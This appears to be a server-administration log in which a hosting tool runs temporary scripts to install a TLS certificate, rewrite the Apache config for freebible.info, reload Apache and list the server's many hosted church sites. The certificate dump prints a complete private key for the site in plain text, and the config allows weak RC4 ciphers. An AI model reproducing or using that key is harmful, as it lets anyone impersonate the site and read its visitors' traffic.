NulteGJjV4xHNAaI/3lncVht/uSWQmScmN9vCjthAoGALw6hjkGFg1DzZbcx046K
WEtvylcZuaxMsMYFSI2+VR7YokN4NLgHOSmxOYytfPBO8UvZLLst1KAe4rP3W816
vUnYs5OmetXRMFwUyzCsptKSepQ2a3Pud7YmAfv2KuGTnI+O9JsEh+o76jLo7wYk
NKgdnjUcQKEXifNlwKYxqkc=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-08 13:13:25:
chmod 755 /tmp/pkp491043; /tmp/pkp491043; rm /tmp/pkp491043
2026-01-08 13:13:25:
dir=/etc/ssl/certs
2026-01-08 13:13:25:
PUT: /tmp/pkp487930
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/freebible_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-08 13:13:25:
chmod 755 /tmp/pkp487930; /tmp/pkp487930; rm /tmp/pkp487930
2026-01-08 13:13:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf 42
<VirtualHost *:80>
ServerName freebible.info
ServerAlias www.freebible.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/freebible_www
<Directory /var/www/freebible_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/freebible/www_access.log combined
ErrorLog /var/log/apache2/freebible/www_error.log
SetEnv pkp_uid 63
SetEnv pkp_owner freebible
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName freebible.info
ServerAlias www.freebible.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
DocumentRoot /var/www/freebible_www
<Directory /var/www/freebible_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/freebible/www_secure_access.log combined
ErrorLog /var/log/apache2/freebible/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-08 13:13:25:
PUT: /tmp/pkp506096
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=freebible_www_info.conf
TARGET=/etc/apache2/sites-enabled/freebible_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName freebible.info
ServerAlias www.freebible.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/freebible_www
<Directory /var/www/freebible_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/freebible/www_access.log combined
ErrorLog /var/log/apache2/freebible/www_error.log
SetEnv pkp_uid 63
SetEnv pkp_owner freebible
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName freebible.info
ServerAlias www.freebible.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
DocumentRoot /var/www/freebible_www
<Directory /var/www/freebible_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/freebible/www_secure_access.log combined
ErrorLog /var/log/apache2/freebible/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/freebible_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf= 1'
fi
2026-01-08 13:13:25:
chmod 755 /tmp/pkp506096; /tmp/pkp506096; rm /tmp/pkp506096
2026-01-08 13:13:25:
2026-01-08 13:13:25:
PUT: /tmp/pkp110140
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-08 13:13:25:
chmod 755 /tmp/pkp110140; /tmp/pkp110140; rm /tmp/pkp110140
2026-01-08 13:13:25:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-08 13:13:25: Establishing a connection
2026-01-08 13:13:25:
PUT: /tmp/pkp577744
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-08 13:13:25:
chmod 755 /tmp/pkp577744; /tmp/pkp577744; rm /tmp/pkp577744
2026-01-08 13:13:26:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-08 13:13:26:
PUT: /tmp/pkp279851
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/freebible_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-08 13:13:26:
chmod 755 /tmp/pkp279851; /tmp/pkp279851; rm /tmp/pkp279851
2026-01-08 13:13:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf 1381
<VirtualHost *:80>
ServerName freebible.info
ServerAlias www.freebible.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/freebible_www
<Directory /var/www/freebible_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/freebible/www_access.log combined
ErrorLog /var/log/apache2/freebible/www_error.log
SetEnv pkp_uid 63
SetEnv pkp_owner freebible
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName freebible.info
ServerAlias www.freebible.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
DocumentRoot /var/www/freebible_www
<Directory /var/www/freebible_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/freebible/www_secure_access.log combined
ErrorLog /var/log/apache2/freebible/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-08 13:13:26:
PUT: /tmp/pkp455499
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-08 13:13:26:
chmod 755 /tmp/pkp455499; /tmp/pkp455499; rm /tmp/pkp455499
2026-01-08 13:13:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt 5385
43:37:5a:8e:f7:d8:08:03:55:d7:d8:a8:1b:ad:cf:fa
-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBc6SokQdTtjuqewbXAzc8E2yMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA4MTIxNDU0WhcNMjYwNDA4MTIxNDUzWjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKNOLxsQfvOajkHdQH4vCDjK+zOapHgWQD4bhU9Q1EbrkCesUAuacjLSh7BWFRLp
Z3o2EoVITTYY0DR3Ku1BhviDuF9pfP6gRXKEJnHiV86FRQDsqQVnlv+uY8e+tEAB
w6i+OSLgFzi6nPA9BzmJmgRnlOUHY8Ut9SDKQT4UY5CeSxbXeCncpb3PR2AM4rU8
hq/GV/qqjU9hGk3aFmP0fvIXuDDmlWWXShOohKnMAhy+PIhf5e8pUAMGzWQvB6FS
782kmdDZwosGectaTy5rCH9i4yZPyaEEMqbxnf9z+oPtUYm7D7BWg7SvmdH2W494
kRw1yzzlPxzkMnZznigIzC8CAwEAAaOCAjowggI2MA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU451S89QOkl3w/+rNREzn+u9tqHEwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5mcmVlYmlibGUuaW5mb4ISd3d3
LmZyZWViaWJsZS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTEuY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AH4AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIA
AAGbnb2OVAAIAAAFAAZePc8EAwBHMEUCIQDdGSQuQYkXTAPwv250DNMSz78Hzl6z
8+0/UHTN/rREAwIgC+VI7YE9fXM6E075rfZNn1diOpKoe0gDw84TllVfyMIAdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZudvY4aAAAEAwBHMEUC
IBK6CYQInX2SLvES8/EsjpsH3uHOE2XXjKF2rb+R/fUzAiEA39qirhuIm6LOAlnl
dQH15iJ4cdZ8hVzVTv9o8i+By2YwDQYJKoZIhvcNAQELBQADggEBACjjFN5+94n9
vdhdEYlqufELAwa6jP/ZvJxTJR9xX/6vnDqPAGJ22yqDDN797Vj5cYD3JoLi7+h2
R1/qZpen5II7HOuozj5cPKyAQ8aOdduPHHqK7TYle0gC15cXV8v3nSeNj3YFqntN
jQMnRqett2qGmKvoaEgd3cu9JCQ+op9/k2LcFwLc3Vv9hE6qj7Y8w2xtsrwZ0fES
TswDDr3wLavtrkUvZSktdOtTWxWnfryT7yBkJhwP6IyyfXaP6uY5L9mtX7xMvgZJ
Cvh13nBjZ7dgi7jMVnYJRFzNFavw+c3bhdkiKHMuRcJ0ysgpbUDI5hVS9Fx35Njr
kUBQfbJo7tc=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCjTi8bEH7zmo5B
3UB+Lwg4yvszmqR4FkA+G4VPUNRG65AnrFALmnIy0oewVhUS6Wd6NhKFSE02GNA0
dyrtQYb4g7hfaXz+oEVyhCZx4lfOhUUA7KkFZ5b/rmPHvrRAAcOovjki4Bc4upzw
PQc5iZoEZ5TlB2PFLfUgykE+FGOQnksW13gp3KW9z0dgDOK1PIavxlf6qo1PYRpN
2hZj9H7yF7gw5pVll0oTqISpzAIcvjyIX+XvKVADBs1kLwehUu/NpJnQ2cKLBnnL
Wk8uawh/YuMmT8mhBDKm8Z3/c/qD7VGJuw+wVoO0r5nR9luPeJEcNcs85T8c5DJ2
c54oCMwvAgMBAAECggEABvMb1BYGoQ1RwoHM7dHIksoomJCbMTUZNMttB+wTrJT3
xIhzu5quA3WsKpfvO6fNLIlCjoN+LbAupBzyKbihKtBIN19A34Eok3AGRtBwFizb
u+dWZhF7fpQIUQbPmu24SuUVf2Nz+YkPhrXCKfOuJ0PVNU30M/75sJSK5D5v4kaY
x6VgIsL9hETgKcuZ9Fppnrm5BqYSzWfrScMEVRvbRYyMnleSYr95EwOPrqSkV8B+
1Sn7srx2Z2f3ZAw8hODX35qCvitLcpgsAUnTaw5/r+tINgyKBfsVRPkcm0iuMgxR
0f1A4S2AYH1bMXA5Alwk/dyxG2DXXf3ocyGwugQO8QKBgQDgFIeyVjgUlT8gyKnX
D3SJnRj98qojZkdpPiYEwlZxuU8AApNrMNRxhO4cB86swpUz4sfF+27VHj27mRIj
Giij25i8+EJe2BXnjkXLgbhQGovfJWjlE6mG/xklz4yd7oAls/siXDWNm2S64YTM
Augq0Qev64n33yB9YqsEvpIYNwKBgQC6kWWL/Kk5BFy1iYxfo4tpAR0seEAqcLLS
9flz7Qz9ZZf2yohV9c6E/BUf00AoP19pPYWwFjn2XLhKbRAseuyLmy2zeoEHL4hV
5A9mrhUkTLPBs4vsTngFJRpSJmxR9gh9lzwJvmK5Js9aDCAxx2MGAZggRJpE3rzI
WXBPo/P/yQKBgQCSDU+U8ZWD9PM8jw4EWtJ+j6KmgvBaOmP5OMTW/UQSw9G2E/e6
Og1+IEKCiqQu/nT5aKsFZCiNSDS8fbzQnFA43PzkznuUDgvY7WaYimhz7ZmVTHDe
Pr6UetkNSAZDOhzUdkcN0kQllE9Hb4562rowjiYQh9lZclle4FzPrtbSaQKBgA/i
iU7d+FqOcIZUa8tI1XnfSmia5Hu4lME5iD/CkzSQDdxJakpHX4obHIFVL0U+ABWp
01Qm0FCVnGtZ1eKzpKhOUhnR+GJwPZ9yh40qjUpF7Zg0fVllZPqrKg6MjvR7ikWH
NulteGJjV4xHNAaI/3lncVht/uSWQmScmN9vCjthAoGALw6hjkGFg1DzZbcx046K
WEtvylcZuaxMsMYFSI2+VR7YokN4NLgHOSmxOYytfPBO8UvZLLst1KAe4rP3W816
vUnYs5OmetXRMFwUyzCsptKSepQ2a3Pud7YmAfv2KuGTnI+O9JsEh+o76jLo7wYk
NKgdnjUcQKEXifNlwKYxqkc=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
